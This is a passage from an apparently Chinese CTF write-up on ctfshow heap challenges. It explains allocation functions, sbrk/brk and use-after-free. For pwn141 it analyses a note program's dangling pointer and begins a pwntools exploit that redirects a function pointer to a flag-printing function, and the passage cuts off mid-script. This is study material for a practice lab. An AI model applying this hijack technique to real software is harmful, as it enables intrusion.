<code>malloc(new_size)<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u5185\u5b58\u72b6\u6001<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u65e7\u5185\u5b58\u7684\u5185\u5bb9\u4fdd\u7559\u5230\u65b0\u5185\u5b58\u7684\u6700\u5c0f\u90e8\u5206\uff08<code>min(old_size, new_size)<\/code>\uff09<\/li>\n\n\n\n<li>\u65b0\u589e\u5185\u5b58\u533a\u57df<strong>\u672a\u521d\u59cb\u5316<\/strong>\uff08\u82e5\u6269\u5927\u5185\u5b58\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u5178\u578b\u7528\u4f8b<\/strong>\uff1a int *arr = (int*)malloc(5 * sizeof(int)); \u00a0\/\/ \u521d\u59cb\u5206\u914d<br>arr = (int*)realloc(arr, 10 * sizeof(int)); \/\/ \u6269\u5bb9\u5230 10 \u4e2a\u6574\u6570<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">\u5173\u952e\u533a\u522b\u603b\u7ed3<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u7279\u6027<\/th><th><code>malloc<\/code><\/th><th><code>calloc<\/code><\/th><th><code>realloc<\/code><\/th><\/tr><\/thead><tbody><tr><td><strong>\u521d\u59cb\u5316<\/strong><\/td><td>\u274c \u672a\u521d\u59cb\u5316\uff08\u5185\u5bb9\u968f\u673a\uff09<\/td><td>\u2705 \u521d\u59cb\u5316\u4e3a\u5168 0<\/td><td>\u4fdd\u7559\u65e7\u6570\u636e\uff0c\u65b0\u589e\u90e8\u5206\u672a\u521d\u59cb\u5316<\/td><\/tr><tr><td><strong>\u53c2\u6570<\/strong><\/td><td>\u603b\u5b57\u8282\u6570 (<code>size<\/code>)<\/td><td>\u5143\u7d20\u6570\u91cf (<code>num<\/code>) + \u5143\u7d20\u5927\u5c0f (<code>size<\/code>)<\/td><td>\u539f\u6307\u9488 (<code>ptr<\/code>) + \u65b0\u5b57\u8282\u6570 (<code>new_size<\/code>)<\/td><\/tr><tr><td><strong>\u5b89\u5168\u98ce\u9669<\/strong><\/td><td>\u53ef\u80fd\u5305\u542b\u654f\u611f\u5783\u573e\u503c<\/td><td>\u65e0\u654f\u611f\u6570\u636e\u6b8b\u7559\u98ce\u9669<\/td><td>\u9700\u624b\u52a8\u68c0\u67e5\u5206\u914d\u662f\u5426\u6210\u529f<\/td><\/tr><tr><td><strong>\u6027\u80fd<\/strong><\/td><td>\u8f83\u5feb\uff08\u4e0d\u521d\u59cb\u5316\uff09<\/td><td>\u8f83\u6162\uff08\u9700\u5199\u96f6\u64cd\u4f5c\uff09<\/td><td>\u53ef\u80fd\u6d89\u53ca\u5185\u5b58\u590d\u5236<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">\u5728\u539f\u59cb\u4ee3\u7801\u4e2d\u7684\u4f53\u73b0<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u9009\u9879 1: malloc<br>printf(\"Enter the size to allocate using malloc: \");<br>__isoc99_scanf(\"%lu\", &amp;size);<br>ptr = malloc(size); &nbsp;\/\/ \u5206\u914d\u672a\u521d\u59cb\u5316\u5185\u5b58<br>\u200b<br>\/\/ \u9009\u9879 2: calloc<br>printf(\"Enter the size to allocate using calloc: \");<br>__isoc99_scanf(\"%lu\", &amp;size);<br>ptr = calloc(1uLL, size); &nbsp;\/\/ \u5206\u914d\u5e76\u521d\u59cb\u5316\u4e3a 0<br>\u200b<br>\/\/ \u9009\u9879 3: realloc<br>printf(\"Enter the size to allocate using realloc: \");<br>__isoc99_scanf(\"%lu\", &amp;size);<br>ptr = realloc(ptr, size); &nbsp;\/\/ \u8c03\u6574\u5df2\u5206\u914d\u5185\u5b58\u7684\u5927\u5c0f<\/code><\/pre>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>\u6ce8\u610f<\/strong>\uff1a\u4ee3\u7801\u4e2d <code>calloc(1uLL, size)<\/code> \u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u56fa\u5b9a\u4e3a 1\uff0c\u5b9e\u9645\u5206\u914d <code>1 * size<\/code> \u5b57\u8282\u7684\u5185\u5b58<\/p>\n<\/blockquote>\n\n\n\n<p>\u672c\u9898\u62ffflag\u5012\u662f\u6781\u7b80\u5355<\/p>\n\n\n\n<p>\u5f88\u5e38\u89c4\u4e0d\u8fc7\u7684\u9009\u62e9\u83dc\u5355<\/p>\n\n\n\n<p>\u8f93\u5165\u7684\u5185\u5bb9\u8bc6\u522b\u4e3av1\uff0c\u7b49\u4e8e2\u8c03\u7528calloc<\/p>\n\n\n\n<p>3\u5c31realloc<\/p>\n\n\n\n<p>4\u662fcat flag<\/p>\n\n\n\n<p>1\u662fmalloc<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn136<\/h2>\n\n\n\n<p>\u4ecd\u7136\u662f\u8fd9\u4e09\u4e2a\u52a8\u6001\u5185\u5b58\u7ba1\u7406\u51fd\u6570<\/p>\n\n\n\n<p>\u4f46\u662f\u8fd9\u9898\u4e3b\u8981\u60f3\u8981\u8ba9\u6211\u4eec\u8ba4\u8bc6\u7684\u662f\u5404\u81ea\u7684free\u6548\u679c<\/p>\n\n\n\n<p>\u4ecd\u7136\u662f\u4f204\u62ffflag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn137<\/h2>\n\n\n\n<p>\u8fd9\u6bb5\u4ee3\u7801\u6f14\u793a\u4e86 <code>sbrk<\/code> \u548c <code>brk<\/code> \u7cfb\u7edf\u8c03\u7528\u7684\u4f7f\u7528\uff0c\u7528\u4e8e\u64cd\u4f5c\u7a0b\u5e8f\u5806\u7a7a\u95f4\u7684\u8fb9\u754c\uff08program break\uff09\u3002\u6700\u7ec8\u76ee\u7684\u662f\u8bfb\u53d6\u5e76\u8f93\u51fa <code>\/ctfshow_flag<\/code> \u6587\u4ef6\u7684\u5185\u5bb9\u3002\u903b\u8f91\u9010\u6b65\u89e3\u6790\u5982\u4e0b\uff1a<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">1. <strong>\u83b7\u53d6\u5e76\u6253\u5370\u5f53\u524d\u8fdb\u7a0bID<\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>v0 = getpid();<br>printf(\"sbrk example:%d\\n\", v0);<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8c03\u7528 <code>getpid()<\/code> \u83b7\u53d6\u5f53\u524d\u8fdb\u7a0b\u7684ID\u3002<\/li>\n\n\n\n<li>\u6253\u5370\u793a\u4f8b\u6807\u9898\u548c\u8fdb\u7a0bID\uff08\u4f8b\u5982 <code>sbrk example:1234<\/code>\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">2. <strong>\u83b7\u53d6\u521d\u59cb\u5806\u8fb9\u754c\u5730\u5740<\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>addr = (char *)sbrk(0LL);<br>printf(\"Program Break Location1:%p\\n\", addr);<br>getchar();<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>sbrk(0)<\/code> \u8fd4\u56de\u5f53\u524d\u5806\u7a7a\u95f4\u7684\u7ed3\u675f\u5730\u5740\uff08program break\uff09\uff0c<strong>\u4e0d\u6539\u53d8\u5806\u5927\u5c0f<\/strong>\u3002<\/li>\n\n\n\n<li>\u6253\u5370\u521d\u59cb\u5806\u8fb9\u754c\u5730\u5740\uff08\u5982 <code>0x12345678<\/code>\uff09\u3002<\/li>\n\n\n\n<li><code>getchar()<\/code> \u6682\u505c\u7a0b\u5e8f\uff0c\u7b49\u5f85\u7528\u6237\u6309\u56de\u8f66\u7ee7\u7eed\uff08\u65b9\u4fbf\u89c2\u5bdf\u8fc7\u7a0b\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">3. <strong>\u6269\u5c55\u5806\u7a7a\u95f4\uff08\u589e\u52a0 4096 \u5b57\u8282\uff09<\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>brk(addr + 4096);<br>v1 = sbrk(0LL);<br>printf(\"Program Break Location2:%p\\n\", v1);<br>getchar();<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>brk(addr + 4096)<\/code> \u5c06\u5806\u8fb9\u754c\u6269\u5927\u5230 <code>addr + 4096<\/code>\uff08\u4e00\u9875\u5185\u5b58\u7684\u5927\u5c0f\uff09\u3002<\/li>\n\n\n\n<li>\u518d\u6b21\u8c03\u7528 <code>sbrk(0)<\/code> \u83b7\u53d6\u65b0\u7684\u5806\u8fb9\u754c\u5730\u5740\u3002<\/li>\n\n\n\n<li>\u6253\u5370\u65b0\u5730\u5740\uff08\u9884\u671f\u503c\uff1a<code>addr + 0x1000<\/code>\uff0c\u56e0\u4e3a <code>4096 = 0x1000<\/code> \u5b57\u8282\uff09\u3002<\/li>\n\n\n\n<li>\u518d\u6b21\u6682\u505c\u7b49\u5f85\u7528\u6237\u56de\u8f66\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">4. <strong>\u6536\u7f29\u5806\u7a7a\u95f4\uff08\u6062\u590d\u521d\u59cb\u5927\u5c0f\uff09<\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>brk(addr);<br>v4 = sbrk(0LL);<br>printf(\"Program Break Location3:%p\\n\", v4);<br>getchar();<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>brk(addr)<\/code> \u5c06\u5806\u8fb9\u754c\u6062\u590d\u4e3a\u521d\u59cb\u5730\u5740\u3002<\/li>\n\n\n\n<li>\u7b2c\u4e09\u6b21\u8c03\u7528 <code>sbrk(0)<\/code> \u83b7\u53d6\u5f53\u524d\u5806\u8fb9\u754c\u5730\u5740\u3002<\/li>\n\n\n\n<li>\u6253\u5370\u5730\u5740\uff08\u9884\u671f\u503c\uff1a\u4e0e <code>Location1<\/code> \u76f8\u540c\uff09\u3002<\/li>\n\n\n\n<li>\u6700\u540e\u4e00\u6b21\u6682\u505c\u7b49\u5f85\u7528\u6237\u56de\u8f66\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">5. <strong>\u8bfb\u53d6\u5e76\u8f93\u51fa flag \u6587\u4ef6<\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>return system(\"cat \/ctfshow_flag\");<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8c03\u7528 <code>system(\"cat \/ctfshow_flag\")<\/code> \u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u3002<\/li>\n\n\n\n<li>\u8be5\u547d\u4ee4\u4f1a\u8bfb\u53d6\u5e76\u6253\u5370 <code>\/ctfshow_flag<\/code> \u6587\u4ef6\u7684\u5185\u5bb9\uff08\u901a\u5e38\u7528\u4e8e CTF \u6bd4\u8d5b\u7684 flag \u83b7\u53d6\uff09\u3002<\/li>\n\n\n\n<li>\u8fd4\u56de\u503c\u662f <code>system<\/code> \u51fd\u6570\u7684\u6267\u884c\u7ed3\u679c\uff08\u901a\u5e38\u4e0d\u9700\u8981\u5173\u6ce8\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u5173\u952e\u70b9\u603b\u7ed3<\/strong><\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u6b65\u9aa4<\/th><th>\u64cd\u4f5c<\/th><th>\u76ee\u7684<\/th><\/tr><\/thead><tbody><tr><td>\u521d\u59cb\u72b6\u6001<\/td><td><code>sbrk(0)<\/code> \u83b7\u53d6\u5806\u8fb9\u754c<\/td><td>\u8bb0\u5f55\u5806\u7684\u8d77\u59cb\u5730\u5740 <code>addr<\/code><\/td><\/tr><tr><td>\u6269\u5c55\u5806<\/td><td><code>brk(addr + 4096)<\/code><\/td><td>\u589e\u52a0 4096 \u5b57\u8282\uff081\u9875\uff09\u7684\u5806\u7a7a\u95f4<\/td><\/tr><tr><td>\u6536\u7f29\u5806<\/td><td><code>brk(addr)<\/code><\/td><td>\u91ca\u653e\u65b0\u589e\u7684\u5806\u7a7a\u95f4\uff0c\u6062\u590d\u521d\u59cb\u5927\u5c0f<\/td><\/tr><tr><td>\u6700\u7ec8\u64cd\u4f5c<\/td><td><code>system(\"cat \/ctfshow_flag\")<\/code><\/td><td>\u8f93\u51fa\u76ee\u6807\u6587\u4ef6\u5185\u5bb9\uff08\u6838\u5fc3\u76ee\u7684\uff09<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u6ce8\u610f\u4e8b\u9879<\/strong><\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"><strong><code>sbrk<\/code> \u4e0e <code>brk<\/code> \u7684\u533a\u522b<\/strong>\uff1a<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>sbrk(increment)<\/code>\uff1a\u6309\u589e\u91cf\u8c03\u6574\u5806\u8fb9\u754c\uff0c\u8fd4\u56de\u65e7\u8fb9\u754c\u5730\u5740\u3002<\/li>\n\n\n\n<li><code>brk(address)<\/code>\uff1a\u76f4\u63a5\u8bbe\u7f6e\u5806\u8fb9\u754c\u4e3a\u6307\u5b9a\u5730\u5740\u3002<\/li>\n<\/ul>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u4ee3\u7801\u6838\u5fc3\u529f\u80fd\u662f\u52a8\u6001\u8c03\u6574\u5806\u7a7a\u95f4\u5e76\u6700\u7ec8\u8bfb\u53d6 flag \u6587\u4ef6\uff0c\u5806\u64cd\u4f5c\u672c\u8eab\u662f\u6f14\u793a\u6027\u8d28\uff0c\u5b9e\u9645 CTF \u6311\u6218\u53ef\u80fd\u901a\u8fc7\u5185\u5b58\u5e03\u5c40\u53d8\u5316\u89e6\u53d1\u6f0f\u6d1e\u6216\u7ed5\u8fc7\u4fdd\u62a4\u673a\u5236<\/p>\n<\/blockquote>\n\n\n\n<p>\u968f\u610f\u8f93\u5165\uff0c\u53cd\u6b63\u56de\u8f66\u8ba9\u7a0b\u5e8f\u5230return\u4f4d\u7f6e\u8fd4\u56deflag\u5185\u5bb9\u5c31\u884c\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn138<\/h2>\n\n\n\n<p>\u5f53\u7528\u6237\u7533\u8bf7\u5185\u5b58\u8fc7\u5927\u65f6\uff0cptmalloc2\u4f1a\u9009\u62e9\u901a\u8fc7<strong>mmap<\/strong>()\u51fd\u6570\u521b\u5efa\u533f\u540d\u6620\u5c04\u6bb5\u4f9b\u7528\u6237\u4f7f\u7528\uff0c\u5e76\u901a\u8fc7<strong>unmmap<\/strong>()\u51fd\u6570\u8fdb\u884c\u56de\u6536\u3002<\/p>\n\n\n\n<p>\u770b\u4e66\u8bf4\u662f\uff08\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">pwn141<\/h2>\n\n\n\n<p>\u7b2c\u4e00\u4e2a\u5f88\u7b80\u5355\u7684UAF<\/p>\n\n\n\n<p>\u5148\u7b80\u8ff0\u4e00\u4e0bUAF\u5427<\/p>\n\n\n\n<p>UAF\uff08Use-After-Free\uff09\u5373&#8221;\u91ca\u653e\u540e\u4f7f\u7528&#8221;\uff0c\u662f\u4e00\u79cd\u5e38\u89c1\u7684\u5185\u5b58\u5b89\u5168\u6f0f\u6d1e\u7c7b\u578b\u3002\u5176\u6838\u5fc3\u6982\u5ff5\u662f\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5185\u5b58\u91ca\u653e\u540e\u4ecd\u88ab\u4f7f\u7528<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u7a0b\u5e8f\u91ca\u653e\u4e86\u4e00\u5757\u5806\u5185\u5b58\uff08\u901a\u8fc7 <code>free()<\/code> \u7b49\u51fd\u6570\uff09<\/li>\n\n\n\n<li>\u4f46\u540e\u7eed\u4ee3\u7801\u4ecd\u901a\u8fc7\u4fdd\u7559\u7684\u6307\u9488\u8bbf\u95ee\u8fd9\u5757\u5df2\u91ca\u653e\u7684\u5185\u5b58<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u60ac\u5782\u6307\u9488\u95ee\u9898<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u6307\u5411\u5df2\u91ca\u653e\u5185\u5b58\u7684\u6307\u9488\u79f0\u4e3a&#8221;\u60ac\u5782\u6307\u9488&#8221;<\/li>\n\n\n\n<li>\u8fd9\u4e9b\u6307\u9488\u6ca1\u6709\u88ab\u7f6e\u4e3a NULL\uff0c\u4ecd\u7136\u6307\u5411\u539f\u6765\u7684\u5185\u5b58\u5730\u5740<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u6f0f\u6d1e\u4ea7\u751f\u6d41\u7a0b<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5206\u914d\u5185\u5b58\u4f7f\u7528\u5185\u5b58\u91ca\u653e\u5185\u5b58\u672a\u7f6e\u7a7a\u6307\u9488\u5185\u5b58\u88ab\u91cd\u65b0\u5206\u914d\u901a\u8fc7\u65e7\u6307\u9488\u8bbf\u95ee<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5177\u4f53\u6b65\u9aa4<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5185\u5b58\u5206\u914d<\/strong>\uff1a\u7a0b\u5e8f\u5206\u914d\u5185\u5b58\u5757 A\uff08\u4f8b\u5982 <code>malloc(32)<\/code>\uff09<\/li>\n\n\n\n<li><strong>\u5185\u5b58\u4f7f\u7528<\/strong>\uff1a\u7a0b\u5e8f\u4f7f\u7528\u6307\u9488 P \u64cd\u4f5c\u5185\u5b58\u5757 A<\/li>\n\n\n\n<li><strong>\u5185\u5b58\u91ca\u653e<\/strong>\uff1a\u7a0b\u5e8f\u8c03\u7528 <code>free(P)<\/code> \u91ca\u653e\u5185\u5b58\u5757 A<\/li>\n\n\n\n<li><strong>\u672a\u7f6e\u7a7a<\/strong>\uff1a\u6307\u9488 P \u6ca1\u6709\u88ab\u7f6e\u4e3a NULL\uff08\u5173\u952e\u6f0f\u6d1e\u70b9\uff09<\/li>\n\n\n\n<li><strong>\u5185\u5b58\u91cd\u7528<\/strong>\uff1a\u7cfb\u7edf\u5c06\u91ca\u653e\u7684\u5185\u5b58\u91cd\u65b0\u5206\u914d\u7ed9\u5176\u4ed6\u5bf9\u8c61\uff08\u5185\u5b58\u5757 B\uff09<\/li>\n\n\n\n<li><strong>\u975e\u6cd5\u8bbf\u95ee<\/strong>\uff1a\u7a0b\u5e8f\u901a\u8fc7\u539f\u59cb\u6307\u9488 P \u8bbf\u95ee\u5df2\u91ca\u653e\u7684\u5185\u5b58\n<ul class=\"wp-block-list\">\n<li>\u6b64\u65f6\u5b9e\u9645\u8bbf\u95ee\u7684\u662f\u5185\u5b58\u5757 B \u7684\u5185\u5bb9<\/li>\n\n\n\n<li>\u9020\u6210\u6570\u636e\u6c61\u67d3\u6216\u63a7\u5236\u6d41\u52ab\u6301<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">UAF \u7684\u5371\u5bb3<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u6570\u636e\u7be1\u6539<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u653b\u51fb\u8005\u53ef\u4ee5\u4fee\u6539\u91cd\u5206\u914d\u5185\u5b58\u7684\u5185\u5bb9<\/li>\n\n\n\n<li>\u5f71\u54cd\u7a0b\u5e8f\u5173\u952e\u6570\u636e\uff08\u5982\u51fd\u6570\u6307\u9488\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u63a7\u5236\u6d41\u52ab\u6301<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u5f53\u5185\u5b58\u5305\u542b\u51fd\u6570\u6307\u9488\u65f6\uff08\u5982\u672c\u9898\u7684 <code>print_note_content<\/code>\uff09<\/li>\n\n\n\n<li>\u8986\u76d6\u51fd\u6570\u6307\u9488\u53ef\u6267\u884c\u4efb\u610f\u4ee3\u7801<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u4fe1\u606f\u6cc4\u9732<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u8bfb\u53d6\u91cd\u5206\u914d\u5185\u5b58\u4e2d\u7684\u654f\u611f\u6570\u636e<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\u5728\u672c\u9898\u4e2d\u7684\u4f53\u73b0<\/h3>\n\n\n\n<p>\u5728\u60a8\u63d0\u4f9b\u7684\u4ee3\u7801\u4e2d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>free(*(void **)(*((_DWORD *)&amp;notelist + v1) + 4));<br>free(*((void **)&amp;notelist + v1));<br>\/\/ \u7f3a\u5c11\uff1a*((_DWORD *)&amp;notelist + v1) = NULL;  \/\/ \u5173\u952e\u4fee\u590d<\/code><\/pre>\n\n\n\n<p>\u5bfc\u81f4\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u91ca\u653e\u7b14\u8bb0\u540e\u6307\u9488\u672a\u7f6e\u7a7a<\/li>\n\n\n\n<li>\u65b0\u6dfb\u52a0\u7684\u7b14\u8bb0\u91cd\u7528\u5df2\u91ca\u653e\u5185\u5b58<\/li>\n\n\n\n<li>\u901a\u8fc7 <code>pri(0)<\/code> \u8bbf\u95ee\u65f6\uff0c\u5b9e\u9645\u8c03\u7528\u88ab\u8986\u76d6\u7684\u51fd\u6570\u6307\u9488 \uff08<code>pri(0)<\/code>\u662fexp\u91cc\u7684\u5185\u5bb9\uff09<\/li>\n<\/ol>\n\n\n\n<p>\u7406\u8bba\u5982\u4e0a\uff0c\u73b0\u5728\u5f00\u59cb\u9488\u5bf9\u672c\u9898\u53bb\u5177\u4f53\u5206\u6790\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<p>\u5e38\u89c4\u68c0\u67e5\u4e00\u4e0bchecksec<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> &nbsp;  Arch: &nbsp; &nbsp; &nbsp; i386-32-little<br> &nbsp;  RELRO: &nbsp; &nbsp;  Partial RELRO<br> &nbsp;  Stack: &nbsp; &nbsp;  Canary found<br> &nbsp;  NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp;  PIE: &nbsp; &nbsp; &nbsp;  No PIE (0x8048000)<br> &nbsp;  SHSTK: &nbsp; &nbsp;  Enabled<br> &nbsp;  IBT: &nbsp; &nbsp; &nbsp;  Enabled<br> &nbsp;  Stripped: &nbsp; No<\/code><\/pre>\n\n\n\n<p>32\u4f4d<\/p>\n\n\n\n<p>\u8fdbmain\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __cdecl __noreturn main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;int v3; \/\/ eax<br> &nbsp;char buf&#91;4]; \/\/ &#91;esp+0h] &#91;ebp-10h] BYREF<br> &nbsp;unsigned int v5; \/\/ &#91;esp+4h] &#91;ebp-Ch]<br> &nbsp;int *p_argc; \/\/ &#91;esp+8h] &#91;ebp-8h]<br>\u200b<br> &nbsp;p_argc = &amp;argc;<br> &nbsp;v5 = __readgsdword(0x14u);<br> &nbsp;init();<br> &nbsp;logo();<br> &nbsp;while ( 1 )<br>  {<br> &nbsp; &nbsp;menu();<br> &nbsp; &nbsp;read(0, buf, 4u);<br> &nbsp; &nbsp;v3 = atoi(buf);<br> &nbsp; &nbsp;if ( v3 == 4 )<br> &nbsp; &nbsp; &nbsp;exit(0);<br> &nbsp; &nbsp;if ( v3 &gt; 4 )<br> &nbsp;  {<br>LABEL_12:<br> &nbsp; &nbsp; &nbsp;puts(\"Invalid choice!\");<br> &nbsp;  }<br> &nbsp; &nbsp;else<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;switch ( v3 )<br> &nbsp; &nbsp;  {<br> &nbsp; &nbsp; &nbsp; &nbsp;case 3:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;print_note();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp; &nbsp;case 1:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add_note();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp; &nbsp;case 2:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;del_note();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp; &nbsp;default:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;goto LABEL_12;<br> &nbsp; &nbsp;  }<br> &nbsp;  }<br>  }<br>}<\/code><\/pre>\n\n\n\n<p>\u5185\u5bb9\u8fd8\u662f\u86ee\u6e05\u6670\u7684\uff0c\u6253\u5370\u76ee\u5f55\uff0c\u7136\u540eswitch\u8bed\u53e5\u8fdb\u884c\u5206\u652f\u9009\u62e9<\/p>\n\n\n\n<p>\u76ee\u5f55\u91cc\u4e5f\u662f\u4e00\u4e00\u5bf9\u5e94\u7684\uff0c\u53bb\u6389exit\uff0c\u4e5f\u5c31\u521a\u597d3\u4e2a\u529f\u80fd<\/p>\n\n\n\n<p>\u5206\u522b\u662fadd\uff0cdel\uff0cprint<\/p>\n\n\n\n<p>\u5148\u770badd<\/p>\n\n\n\n<p>\u6ca1\u5565\u4e1c\u897f\uff0c\u6700\u591a\u52a0\u4e94\u6761note<\/p>\n\n\n\n<p>\u7136\u540e\u5c31\u662fdel<\/p>\n\n\n\n<p>del\u5b58\u5728free\u64cd\u4f5c<\/p>\n\n\n\n<p>\u4f46\u662f\u6709\u70b9\u95ee\u9898<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> &nbsp;if ( *((_DWORD *)&amp;notelist + v1) )<br>  {<br> &nbsp; &nbsp;free(*(void **)(*((_DWORD *)&amp;notelist + v1) + 4));<br> &nbsp; &nbsp;free(*((void **)&amp;notelist + v1));<br> &nbsp; &nbsp;\/*((_DWORD *)&amp;notelist + v1) = NULL; *\/<br> &nbsp; &nbsp;puts(\"Success\");<br>  }<\/code><\/pre>\n\n\n\n<p>\u4ed4\u7ec6\u770b\u8fd9\u91cc<\/p>\n\n\n\n<p>free\u6389\u4e4b\u540e\uff0c\u6ca1\u6709\u7f6e\u96f6<\/p>\n\n\n\n<p>\u6b63\u5e38\u6765\u8bf4\u5e94\u8be5\u662f\u9700\u8981\u6ce8\u91ca\u91cc\u7684\u8fd9\u4e00\u884c\u624d\u80fd\u907f\u514d\u5b58\u5728UAF<\/p>\n\n\n\n<p>\u4f46\u662f\u521a\u597d\u6ca1\u6709\u7f6e\u96f6<\/p>\n\n\n\n<p>\u90a3\u5c31\u53ef\u4ee5\u8003\u8651\u8fdb\u884cUAF\u4e86<\/p>\n\n\n\n<p>\u540c\u65f6\u53ef\u4ee5\u770b\u5230\u5b58\u5728\u4e00\u4e2ause\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int use()<br>{<br> &nbsp;return system(\"cat \/ctfshow_flag\");<br>}<\/code><\/pre>\n\n\n\n<p>\u90a3\u76ee\u6807\u5f88\u660e\u663e\u4e86<\/p>\n\n\n\n<p>\u9996\u5148\u662f\u6dfb\u52a0\u4e24\u6761note<\/p>\n\n\n\n<p>\u7136\u540e\u518ddel\u6389<\/p>\n\n\n\n<p>\u6839\u636euaf\u539f\u7406<\/p>\n\n\n\n<p>\u518d\u4e00\u6b21add note\u7684\u65f6\u5019<\/p>\n\n\n\n<p>\u56e0\u4e3a\u4e0a\u4e00\u6b21\u7684\u5806\u5757\u6ca1\u6709\u7f6e\u96f6<\/p>\n\n\n\n<p>\u6240\u4ee5\u53ef\u4ee5\u5bf9\u5176\u8fdb\u884c\u52ab\u6301\uff0c\u7be1\u6539\u5176\u6307\u9488\u5230use\u51fd\u6570\u7684\u5730\u5740\u4e0a\u53bb<\/p>\n\n\n\n<p>\u7136\u540e\u518dprint\u7b2c\u4e00\u4e2anote<\/p>\n\n\n\n<p>\u5c31\u80fd\u83b7\u53d6\u5230flag<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>context(arch='i386', log_level='debug', os='linux')<br>io = process(\".\/pwn141\")<br># io = remote(\"pwn.challenge.ctf.show\", 28210)<br>elf = ELF('.\/pwn141')<br>use = elf.sym&#91;'use']<br>\u200b<br>def add(size, content):<br> 